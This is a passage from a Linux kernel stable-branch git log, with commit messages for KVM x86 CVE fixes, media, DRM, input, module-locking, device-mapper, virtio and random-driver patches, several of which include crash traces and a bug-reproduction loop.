Kolesov Date: Thu Sep 25 13:23:24 2014 +0400 ARC: Update order of registers in KGDB to match GDB 7.5 commit ebc0c74e76cec9c4dd860eb0ca1c0b39dc63c482 upstream. Order of registers has changed in GDB moving from 6.8 to 7.5. This patch updates KGDB to work properly with GDB 7.5, though makes it incompatible with 6.8. Signed-off-by: Anton Kolesov Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2728fe6ba7d0ccbadd0c6960206883cc1d98e4d7 Author: Vineet Gupta Date: Fri Jun 20 16:24:49 2014 +0530 ARC: [nsimosci] Allow "headless" models to boot commit 5c05483e2db91890faa9a7be0a831701a3f442d6 upstream. There are certain test configuration of virtual platform which don't have any real console device (uart/pgu). So add tty0 as a fallback console device to allow system to boot and be accessible via telnet Otherwise with ttyS0 as only console, but 8250 disabled in kernel build, init chokes. Reported-by: Anton Kolesov Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f4835badddbb32682a6935c8a852092b90d3aef Author: Nadav Amit Date: Thu Sep 18 22:39:38 2014 +0300 KVM: x86: Emulator fixes for eip canonical checks on near branches commit 234f3ce485d54017f15cf5e0699cff4100121601 upstream. Before changing rip (during jmp, call, ret, etc.) the target should be asserted to be canonical one, as real CPUs do. During sysret, both target rsp and rip should be canonical. If any of these values is noncanonical, a #GP exception should occur. The exception to this rule are syscall and sysenter instructions in which the assigned rip is checked during the assignment to the relevant MSRs. This patch fixes the emulator to behave as real CPUs do for near branches. Far branches are handled by the next patch. This fixes CVE-2014-3647. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 51872d9687db13b0c03e8a5153d26fea7cf12800 Author: Nadav Amit Date: Thu Sep 18 22:39:37 2014 +0300 KVM: x86: Fix wrong masking on relative jump/call commit 05c83ec9b73c8124555b706f6af777b10adf0862 upstream. Relative jumps and calls do the masking according to the operand size, and not according to the address size as the KVM emulator does today. This patch fixes KVM behavior. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 418a6968a4503b4efd5af1608e1274fca5316bd4 Author: Michael S. Tsirkin Date: Thu Sep 18 16:21:16 2014 +0300 kvm: x86: don't kill guest on unknown exit reason commit 2bc19dc3754fc066c43799659f0d848631c44cfe upstream. KVM_EXIT_UNKNOWN is a kvm bug, we don't really know whether it was triggered by a priveledged application. Let's not kill the guest: WARN and inject #UD instead. Signed-off-by: Michael S. Tsirkin Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 151e515fc9a223450e8bd3ab23eba5a0e905e2eb Author: Nadav Amit Date: Tue Sep 16 03:24:05 2014 +0300 KVM: x86: Check non-canonical addresses upon WRMSR commit 854e8bb1aa06c578c2c9145fa6bfe3680ef63b23 upstream. Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is written to certain MSRs. The behavior is "almost" identical for AMD and Intel (ignoring MSRs that are not implemented in either architecture since they would anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if non-canonical address is written on Intel but not on AMD (which ignores the top 32-bits). Accordingly, this patch injects a #GP on the MSRs which behave identically on Intel and AMD. To eliminate the differences between the architecutres, the value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to canonical value before writing instead of injecting a #GP. Some references from Intel and AMD manuals: According to Intel SDM description of WRMSR instruction #GP is expected on WRMSR "If the source register contains a non-canonical address and ECX specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE, IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP." According to AMD manual instruction manual: LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical form, a general-protection exception (#GP) occurs." IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the base field must be in canonical form or a #GP fault will occur." IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must be in canonical form." This patch fixes CVE-2014-3610. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a2e1544630d12604f55f6076fa75ed5c57cd73c Author: Andy Honig Date: Wed Aug 27 14:42:54 2014 -0700 KVM: x86: Improve thread safety in pit commit 2febc839133280d5a5e8e1179c94ea674489dae2 upstream. There's a race condition in the PIT emulation code in KVM. In __kvm_migrate_pit_timer the pit_timer object is accessed without synchronization. If the race condition occurs at the wrong time this can crash the host kernel. This fixes CVE-2014-3611. Signed-off-by: Andrew Honig Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b264139c8bbaaa160ddf9caa53ba430077b91f8 Author: Andy Honig Date: Wed Aug 27 11:16:44 2014 -0700 KVM: x86: Prevent host from panicking on shared MSR writes. commit 8b3c3104c3f4f706e99365c3e0d2aa61b95f969f upstream. The previous patch blocked invalid writes directly when the MSR is written. As a precaution, prevent future similar mistakes by gracefulling handle GPs caused by writes to shared MSRs. Signed-off-by: Andrew Honig [Remove parts obsoleted by Nadav's patch. - Paolo] Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c314cdc60850e21a56d57dbd38547b677d315f91 Author: Quentin Casasnovas Date: Fri Oct 17 22:55:59 2014 +0200 kvm: fix excessive pages un-pinning in kvm_iommu_map error path. commit 3d32e4dbe71374a6780eaf51d719d76f9a9bf22f upstream. The third parameter of kvm_unpin_pages() when called from kvm_iommu_map_pages() is wrong, it should be the number of pages to un-pin and not the page size. This error was facilitated with an inconsistent API: kvm_pin_pages() takes a size, but kvn_unpin_pages() takes a number of pages, so fix the problem by matching the two. This was introduced by commit 350b8bd ("kvm: iommu: fix the third parameter of kvm_iommu_put_pages (CVE-2014-3601)"), which fixes the lack of un-pinning for pages intended to be un-pinned (i.e. memory leak) but unfortunately potentially aggravated the number of pages we un-pin that should have stayed pinned. As far as I understand though, the same practical mitigations apply. This issue was found during review of Red Hat 6.6 patches to prepare Ksplice rebootless updates. Thanks to Vegard for his time on a late Friday evening to help me in understanding this code. Fixes: 350b8bd ("kvm: iommu: fix the third parameter of... (CVE-2014-3601)") Signed-off-by: Quentin Casasnovas Signed-off-by: Vegard Nossum Signed-off-by: Jamie Iles Reviewed-by: Sasha Levin Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76a995ae8aa802272dc5bb146ec4fd671c709743 Author: Axel Lin Date: Fri Aug 8 10:32:56 2014 -0300 media: tda7432: Fix setting TDA7432_MUTE bit for TDA7432_RF register commit 91ba0e59babdb3c7aca836a65f1095b3eaff7b06 upstream. Fix a copy-paste bug when converting to the control framework. Fixes: commit 5d478e0de871 ("[media] tda7432: convert to the control framework") Signed-off-by: Axel Lin Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 67356065ae373b7daf23cc6cb56708d91b093da5 Author: Ulrich Eckhardt Date: Fri Oct 10 14:19:12 2014 -0300 media: ds3000: fix LNB supply voltage on Tevii S480 on initialization commit 8c5bcded11cb607b1bb5920de3b9c882136d27db upstream. The Tevii S480 outputs 18V on startup for the LNB supply voltage and does not automatically power down. This blocks other receivers connected to a satellite channel router (EN50494), since the receivers can not send the required DiSEqC sequences when the Tevii card is connected to a the same SCR. This patch switches off the LNB supply voltage on initialization of the frontend. [mchehab@osg.samsung.com: add a comment about why we're explicitly turning off voltage at device init] Signed-off-by: Ulrich Eckhardt Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dea4cf5bfe80e79fd159bfb431c1f827dd875696 Author: Frank Schaefer Date: Sat Aug 9 06:37:20 2014 -0300 media: em28xx-v4l: give back all active video buffers to the vb2 core properly on streaming stop commit 627530c32a43283474e9dd3e954519410ffa033a upstream. When a new video frame is started, the driver takes the next video buffer from the list of active buffers and moves it to dev->usb_ctl.vid_buf / dev->usb_ctl.vbi_buf for further processing. On streaming stop we currently only give back the pending buffers from the list but not the ones which are currently processed. This causes the following warning from the vb2 core since kernel 3.15: ... ------------[ cut here ]------------ WARNING: CPU: 1 PID: 2284 at drivers/media/v4l2-core/videobuf2-core.c:2115 __vb2_queue_cancel+0xed/0x150 [videobuf2_core]() [...] Call Trace: [] dump_stack+0x48/0x69 [] warn_slowpath_common+0x79/0x90 [] ? __vb2_queue_cancel+0xed/0x150 [videobuf2_core] [] ? __vb2_queue_cancel+0xed/0x150 [videobuf2_core] [] warn_slowpath_null+0x1d/0x20 [] __vb2_queue_cancel+0xed/0x150 [videobuf2_core] [] vb2_internal_streamoff+0x35/0x90 [videobuf2_core] [] vb2_streamoff+0x35/0x60 [videobuf2_core] [] vb2_ioctl_streamoff+0x37/0x40 [videobuf2_core] [] v4l_streamoff+0x15/0x20 [videodev] [] __video_do_ioctl+0x23d/0x2d0 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] video_usercopy+0x203/0x5a0 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] ? fsnotify+0x1e7/0x2b0 [] video_ioctl2+0x12/0x20 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] v4l2_ioctl+0xee/0x130 [videodev] [] ? v4l2_open+0xf0/0xf0 [videodev] [] do_vfs_ioctl+0x2e2/0x4d0 [] ? vfs_write+0x13c/0x1c0 [] ? vfs_writev+0x2f/0x50 [] SyS_ioctl+0x58/0x80 [] sysenter_do_call+0x12/0x12 ---[ end trace 5545f934409f13f4 ]--- ... Many thanks to Hans Verkuil, whose recently added check in the vb2 core unveiled this long standing issue and who has investigated it further. Signed-off-by: Frank Schäfer Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b0306bd35adbd083e7f67e3517623c442c14473 Author: Maciej Matraszek Date: Mon Sep 15 05:14:48 2014 -0300 media: v4l2-common: fix overflow in v4l_bound_align_image() commit 3bacc10cd4a85bc70bc0b6c001d3bf995c7fe04c upstream. Fix clamp_align() used in v4l_bound_align_image() to prevent overflow when passed large value like UINT32_MAX. In the current implementation: clamp_align(UINT32_MAX, 8, 8192, 3) returns 8, because in line: x = (x + (1 << (align - 1))) & mask; x overflows to (-1 + 4) & 0x7 = 3, while expected value is 8192. v4l_bound_align_image() is heavily used in VIDIOC_S_FMT and VIDIOC_SUBDEV_S_FMT ioctls handlers, and documentation of the latter explicitly states that: "The modified format should be as close as possible to the original request." -- http://linuxtv.org/downloads/v4l-dvb-apis/vidioc-subdev-g-fmt.html Thus one would expect, that passing UINT32_MAX as format width and height will result in setting maximum possible resolution for the device. Particularly, when the driver doesn't support VIDIOC_ENUM_FRAMESIZES ioctl, which is common in the codebase. Fixes changeset: b0d3159be9a3 Signed-off-by: Maciej Matraszek Acked-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 139dee973bfe134fa29ce8d6fd1372244da060af Author: Ben Skeggs Date: Mon Sep 8 10:33:32 2014 +1000 drm/nouveau/bios: memset dcb struct to zero before parsing commit 595d373f1e9c9ce0fc946457fdb488e8a58972cd upstream. Fixes type/mask calculation being based on uninitialised data for VGA outputs. Signed-off-by: Ben Skeggs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 659f18c8939d4ea334bfe98c7d26bfdd11593251 Author: Ezequiel Garcia Date: Tue Sep 2 09:51:15 2014 -0300 drm/tilcdc: Fix the error path in tilcdc_load() commit b478e336b3e75505707a11e78ef8b964ef0a03af upstream. The current error path calls tilcdc_unload() in case of an error to release the resources. However, this is wrong because not all resources have been allocated by the time an error occurs in tilcdc_load(). To fix it, this commit adds proper labels to bail out at the different stages in the load function, and release only the resources actually allocated. Tested-by: Darren Etheridge Tested-by: Johannes Pointner Signed-off-by: Ezequiel Garcia Signed-off-by: Dave Airlie Fixes: 3a49012224ca ("drm/tilcdc: panel: fix leak when unloading the module") Signed-off-by: Matwey V. Kornilov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54260552d0134ddf96d6049372414687aef90217 Author: Benjamin Herrenschmidt Date: Tue Oct 7 19:04:58 2014 +1100 drm/ast: Fix HW cursor image commit 1e99cfa8de0f0879091e33cd65fd60418d006ad9 upstream. The translation from the X driver to the KMS one typo'ed a couple of array indices, causing the HW cursor to look weird (blocky with leaking edge colors). This fixes it. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1478a4caaed59dc802f1e276ffc5be7ba0a1faa7 Author: Hans de Goede Date: Fri Oct 24 14:55:24 2014 -0700 Input: i8042 - quirks for Fujitsu Lifebook A544 and Lifebook AH544 commit 993b3a3f80a7842a48cd46c2b41e1b3ef6302468 upstream. These models need i8042.notimeout, otherwise the touchpad will not work. BugLink: https://bugzilla.kernel.org/show_bug.cgi?id=69731 BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1111138 Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd06a0873430ddb0c26f255c1cec63810cceba43 Author: Hans de Goede Date: Sat Oct 11 11:27:37 2014 -0700 Input: i8042 - add noloop quirk for Asus X750LN commit 9ff84a17302aeb8913ff244ecc0d8f9d219fecb5 upstream. Without this the aux port does not get detected, and consequently the touchpad will not work. https://bugzilla.redhat.com/show_bug.cgi?id=1110011 Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec467d244dec0b1a93950781d313ebada1e865a9 Author: Mikulas Patocka Date: Tue Sep 16 12:40:26 2014 -0400 framebuffer: fix border color commit f74a289b9480648a654e5afd8458c2263c03a1e1 upstream. The framebuffer code uses the current background color to fill the border when switching consoles, however, this results in inconsistent behavior. For example: - start Midnigh Commander - the border is black - switch to another console and switch back - the border is cyan - type something into the command line in mc - the border is cyan - switch to another console and switch back - the border is black - press F9 to go to menu - the border is black - switch to another console and switch back - the border is dark blue When switching to a console with Midnight Commander, the border is random color that was left selected by the slang subsystem. This patch fixes this inconsistency by always using black as the background color when switching consoles. Signed-off-by: Mikulas Patocka Signed-off-by: Tomi Valkeinen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56a1ea8ded3b99329a594cfe80e45a1411a95563 Author: Prarit Bhargava Date: Tue Oct 14 02:51:39 2014 +1030 modules, lock around setting of MODULE_STATE_UNFORMED commit d3051b489aa81ca9ba62af366149ef42b8dae97c upstream. A panic was seen in the following sitation. There are two threads running on the system. The first thread is a system monitoring thread that is reading /proc/modules. The second thread is loading and unloading a module (in this example I'm using my simple dummy-module.ko). Note, in the "real world" this occurred with the qlogic driver module. When doing this, the following panic occurred: ------------[ cut here ]------------ kernel BUG at kernel/module.c:3739! invalid opcode: 0000 [#1] SMP Modules linked in: binfmt_misc sg nfsv3 rpcsec_gss_krb5 nfsv4 dns_resolver nfs fscache intel_powerclamp coretemp kvm_intel kvm crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel lrw igb gf128mul glue_helper iTCO_wdt iTCO_vendor_support ablk_helper ptp sb_edac cryptd pps_core edac_core shpchp i2c_i801 pcspkr wmi lpc_ich ioatdma mfd_core dca ipmi_si nfsd ipmi_msghandler auth_rpcgss nfs_acl lockd sunrpc xfs libcrc32c sr_mod cdrom sd_mod crc_t10dif crct10dif_common mgag200 syscopyarea sysfillrect sysimgblt i2c_algo_bit drm_kms_helper ttm isci drm libsas ahci libahci scsi_transport_sas libata i2c_core dm_mirror dm_region_hash dm_log dm_mod [last unloaded: dummy_module] CPU: 37 PID: 186343 Comm: cat Tainted: GF O-------------- 3.10.0+ #7 Hardware name: Intel Corporation S2600CP/S2600CP, BIOS RMLSDP.86I.00.29.D696.1311111329 11/11/2013 task: ffff8807fd2d8000 ti: ffff88080fa7c000 task.ti: ffff88080fa7c000 RIP: 0010:[] [] module_flags+0xb5/0xc0 RSP: 0018:ffff88080fa7fe18 EFLAGS: 00010246 RAX: 0000000000000003 RBX: ffffffffa03b5200 RCX: 0000000000000000 RDX: 0000000000001000 RSI: ffff88080fa7fe38 RDI: ffffffffa03b5000 RBP: ffff88080fa7fe28 R08: 0000000000000010 R09: 0000000000000000 R10: 0000000000000000 R11: 000000000000000f R12: ffffffffa03b5000 R13: ffffffffa03b5008 R14: ffffffffa03b5200 R15: ffffffffa03b5000 FS: 00007f6ae57ef740(0000) GS:ffff88101e7a0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000404f70 CR3: 0000000ffed48000 CR4: 00000000001407e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Stack: ffffffffa03b5200 ffff8810101e4800 ffff88080fa7fe70 ffffffff810d666c ffff88081e807300 000000002e0f2fbf 0000000000000000 ffff88100f257b00 ffffffffa03b5008 ffff88080fa7ff48 ffff8810101e4800 ffff88080fa7fee0 Call Trace: [] m_show+0x19c/0x1e0 [] seq_read+0x16e/0x3b0 [] proc_reg_read+0x3d/0x80 [] vfs_read+0x9c/0x170 [] SyS_read+0x58/0xb0 [] system_call_fastpath+0x16/0x1b Code: 48 63 c2 83 c2 01 c6 04 03 29 48 63 d2 eb d9 0f 1f 80 00 00 00 00 48 63 d2 c6 04 13 2d 41 8b 0c 24 8d 50 02 83 f9 01 75 b2 eb cb <0f> 0b 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 41 RIP [] module_flags+0xb5/0xc0 RSP Consider the two processes running on the system. CPU 0 (/proc/modules reader) CPU 1 (loading/unloading module) CPU 0 opens /proc/modules, and starts displaying data for each module by traversing the modules list via fs/seq_file.c:seq_open() and fs/seq_file.c:seq_read(). For each module in the modules list, seq_read does op->start() <-- this is a pointer to m_start() op->show() <- this is a pointer to m_show() op->stop() <-- this is a pointer to m_stop() The m_start(), m_show(), and m_stop() module functions are defined in kernel/module.c. The m_start() and m_stop() functions acquire and release the module_mutex respectively. ie) When reading /proc/modules, the module_mutex is acquired and released for each module. m_show() is called with the module_mutex held. It accesses the module struct data and attempts to write out module data. It is in this code path that the above BUG_ON() warning is encountered, specifically m_show() calls static char *module_flags(struct module *mod, char *buf) { int bx = 0; BUG_ON(mod->state == MODULE_STATE_UNFORMED); ... The other thread, CPU 1, in unloading the module calls the syscall delete_module() defined in kernel/module.c. The module_mutex is acquired for a short time, and then released. free_module() is called without the module_mutex. free_module() then sets mod->state = MODULE_STATE_UNFORMED, also without the module_mutex. Some additional code is called and then the module_mutex is reacquired to remove the module from the modules list: /* Now we can delete it from the lists */ mutex_lock(&module_mutex); stop_machine(__unlink_module, mod, NULL); mutex_unlock(&module_mutex); This is the sequence of events that leads to the panic. CPU 1 is removing dummy_module via delete_module(). It acquires the module_mutex, and then releases it. CPU 1 has NOT set dummy_module->state to MODULE_STATE_UNFORMED yet. CPU 0, which is reading the /proc/modules, acquires the module_mutex and acquires a pointer to the dummy_module which is still in the modules list. CPU 0 calls m_show for dummy_module. The check in m_show() for MODULE_STATE_UNFORMED passed for dummy_module even though it is being torn down. Meanwhile CPU 1, which has been continuing to remove dummy_module without holding the module_mutex, now calls free_module() and sets dummy_module->state to MODULE_STATE_UNFORMED. CPU 0 now calls module_flags() with dummy_module and ... static char *module_flags(struct module *mod, char *buf) { int bx = 0; BUG_ON(mod->state == MODULE_STATE_UNFORMED); and BOOM. Acquire and release the module_mutex lock around the setting of MODULE_STATE_UNFORMED in the teardown path, which should resolve the problem. Testing: In the unpatched kernel I can panic the system within 1 minute by doing while (true) do insmod dummy_module.ko; rmmod dummy_module.ko; done and while (true) do cat /proc/modules; done in separate terminals. In the patched kernel I was able to run just over one hour without seeing any issues. I also verified the output of panic via sysrq-c and the output of /proc/modules looks correct for all three states for the dummy_module. dummy_module 12661 0 - Unloading 0xffffffffa03a5000 (OE-) dummy_module 12661 0 - Live 0xffffffffa03bb000 (OE) dummy_module 14015 1 - Loading 0xffffffffa03a5000 (OE+) Signed-off-by: Prarit Bhargava Reviewed-by: Oleg Nesterov Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be52f0fd8c3aa7c7f9dd8e387d1cae707a85f279 Author: Alexey Khoroshilov Date: Wed Oct 1 22:58:35 2014 +0200 dm log userspace: fix memory leak in dm_ulog_tfr_init failure path commit 56ec16cb1e1ce46354de8511eef962a417c32c92 upstream. If cn_add_callback() fails in dm_ulog_tfr_init(), it does not deallocate prealloced memory but calls cn_del_callback(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Reviewed-by: Jonathan Brassow Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 077266d71524afd81e4dcad003bc61da2d853bd0 Author: Mike Snitzer Date: Wed Oct 8 18:26:13 2014 -0400 block: fix alignment_offset math that assumes io_min is a power-of-2 commit b8839b8c55f3fdd60dc36abcda7e0266aff7985c upstream. The math in both blk_stack_limits() and queue_limit_alignment_offset() assume that a block device's io_min (aka minimum_io_size) is always a power-of-2. Fix the math such that it works for non-power-of-2 io_min. This issue (of alignment_offset != 0) became apparent when testing dm-thinp with a thinp blocksize that matches a RAID6 stripesize of 1280K. Commit fdfb4c8c1 ("dm thin: set minimum_io_size to pool's data block size") unlocked the potential for alignment_offset != 0 due to the dm-thin-pool's io_min possibly being a non-power-of-2. Signed-off-by: Mike Snitzer Acked-by: Martin K. Petersen Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49f7b2b628ab50b807a6db993feb8344189ded64 Author: Lai Jiangshan Date: Thu Sep 18 16:49:41 2014 +0200 drbd: compute the end before rb_insert_augmented() commit 82cfb90bc99d7b7e0ec62d0505b9d4f06805d5db upstream. Commit 98683650 "Merge branch 'drbd-8.4_ed6' into for-3.8-drivers-drbd-8.4_ed6" switches to the new augment API, but the new API requires that the tree is augmented before rb_insert_augmented() is called, which is missing. So we add the augment-code to drbd_insert_interval() when it travels the tree up to down before rb_insert_augmented(). See the example in include/linux/interval_tree_generic.h or Documentation/rbtree.txt. drbd_insert_interval() may cancel the insertion when traveling, in this case, the just added augment-code does nothing before cancel since the @this node is already in the subtrees in this case. CC: Michel Lespinasse Signed-off-by: Lai Jiangshan Signed-off-by: Andreas Gruenbacher Signed-off-by: Philipp Reisner Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff26da4fd2c8e4e78a08cc657fccfb65c525f27f Author: Joe Thornber Date: Tue Sep 30 09:32:46 2014 +0100 dm bufio: update last_accessed when relinking a buffer commit eb76faf53b1ff7a77ce3f78cc98ad392ac70c2a0 upstream. The 'last_accessed' member of the dm_buffer structure was only set when the the buffer was created. This led to each buffer being discarded after dm_bufio_max_age time even if it was used recently. In practice this resulted in all thinp metadata being evicted soon after being read -- this is particularly problematic for metadata intensive workloads like multithreaded small random IO. 'last_accessed' is now updated each time the buffer is moved to the head of the LRU list, so the buffer is now properly discarded if it was not used in dm_bufio_max_age time. Signed-off-by: Joe Thornber Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3bf0f7a6c4c92823bd3e845dd2704ad0f1649271 Author: Michael S. Tsirkin Date: Tue Oct 14 10:40:29 2014 +1030 virtio_pci: fix virtio spec compliance on restore commit 6fbc198cf623944ab60a1db6d306a4d55cdd820d upstream. On restore, virtio pci does the following: + set features + init vqs etc - device can be used at this point! + set ACKNOWLEDGE,DRIVER and DRIVER_OK status bits This is in violation of the virtio spec, which requires the following order: - ACKNOWLEDGE - DRIVER - init vqs - DRIVER_OK This behaviour will break with hypervisors that assume spec compliant behaviour. It seems like a good idea to have this patch applied to stable branches to reduce the support butden for the hypervisors. Cc: Amit Shah Signed-off-by: Michael S. Tsirkin Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 421054c5c853cafc92b58fcc52b4490909a07c92 Author: Valdis Kletnieks Date: Sun Oct 12 23:09:08 2014 -0400 pstore: Fix duplicate {console,ftrace}-efi entries commit d4bf205da618bbd0b038e404d646f14e76915718 upstream. The pstore filesystem still creates duplicate filename/inode pairs for some pstore types. Add the id to the filename to prevent that. Before patch: [/sys/fs/pstore] ls -li total 0 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi After: [/sys/fs/pstore] ls -li total 0 1232 -r--r--r--. 1 root root 148 Sep 29 17:09 console-efi-141202499100000 1231 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi-141202499200000 1230 -r--r--r--. 1 root root 148 Sep 29 17:44 console-efi-141202705400000 1229 -r--r--r--. 1 root root 67 Sep 29 17:44 console-efi-141202705500000 1228 -r--r--r--. 1 root root 67 Sep 29 20:42 console-efi-141203772600000 1227 -r--r--r--. 1 root root 148 Sep 29 23:42 console-efi-141204854900000 1226 -r--r--r--. 1 root root 67 Sep 29 23:42 console-efi-141204855000000 1225 -r--r--r--. 1 root root 148 Sep 29 23:59 console-efi-141204954200000 1224 -r--r--r--. 1 root root 67 Sep 29 23:59 console-efi-141204954400000 Signed-off-by: Valdis Kletnieks Acked-by: Kees Cook Signed-off-by: Tony Luck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2dccc93ed27322f110f9669f7998a0627172823d Author: Chris Ball Date: Thu Sep 4 17:11:53 2014 +0100 mfd: rtsx_pcr: Fix MSI enable error handling commit 5152970538a5e16c03bbcb9f1c780489a795ed40 upstream. pci_enable_msi() can return failure with both positive and negative integers -- it returns 0 for success -- but is only tested here for "if (ret < 0)". This causes us to try to use MSI on the RTS5249 SD reader in the Dell XPS 11 when enabling MSI failed, causing: [ 1.737110] rtsx_pci: probe of 0000:05:00.0 failed with error -110 Reported-by: D. Jared Dominguez Tested-by: D. Jared Dominguez Signed-off-by: Chris Ball Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e41ec2086732836a3344d90859a3115dd19ae9c6 Author: Richard Genoud Date: Tue Sep 9 14:25:01 2014 +0200 UBI: add missing kmem_cache_free() in process_pool_aeb error path commit 1bf1890e86869032099b539bc83b098be12fc5a7 upstream. I ran into this error after a ubiupdatevol, because I forgot to backport e9110361a9a4 UBI: fix the volumes tree sorting criteria. UBI error: process_pool_aeb: orphaned volume in fastmap pool UBI error: ubi_scan_fastmap: Attach by fastmap failed, doing a full scan! kmem_cache_destroy ubi_ainf_peb_slab: Slab cache still has objects CPU: 0 PID: 1 Comm: swapper Not tainted 3.14.18-00053-gf05cac8dbf85 #1 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (destroy_ai+0x230/0x244) [] (destroy_ai) from [] (ubi_attach+0x98/0x1ec) [] (ubi_attach) from [] (ubi_attach_mtd_dev+0x2b8/0x868) [] (ubi_attach_mtd_dev) from [] (ubi_init+0x1dc/0x2ac) [] (ubi_init) from [] (do_one_initcall+0x94/0x140) [] (do_one_initcall) from [] (kernel_init_freeable+0xe8/0x1b0) [] (kernel_init_freeable) from [] (kernel_init+0x8/0xe4) [] (kernel_init) from [] (ret_from_fork+0x14/0x24) UBI: scanning is finished Freeing the cache in the error path fixes the Slab error. Tested on at91sam9g35 (3.14.18+fastmap backports) Signed-off-by: Richard Genoud Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3c9d67972b56203621e6a8ecdc5d9cd9e9bb272 Author: Daniel Borkmann Date: Tue Aug 26 23:16:35 2014 -0400 random: add and use memzero_explicit() for clearing data commit d4c5efdb97773f59a2b711754ca0953f24516739 upstream. zatimend has reported that in his environment (3.16/gcc4.8.3/corei7) memset() calls which clear out sensitive data in extract_{buf,entropy, entropy_user}() in random driver are being optimized away by gcc. Add a helper memzero_explicit() (similarly as explicit_bzero() variants) that can be used in such cases where a variable with sensitive data is being cleared out in the end. Other use cases might also be in crypto code. [ I have put this into lib/string.c though, as it's always built-in and doesn't need any dependencies then. ] Fixes kernel bugzilla: 82041 Reported-by: zatimend@hotmail.co.uk Signed-off-by: Daniel Borkmann Acked-by: Hannes Frederic Sowa Cc: Alexey Dobriyan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 962a8a49a19cbc0f7ded223b3111ac12cccd669b Author: Cesar Eduardo Barros Date: Mon Nov 25 22:00:41 2013 -0200 crypto: more robust crypto_memneq commit 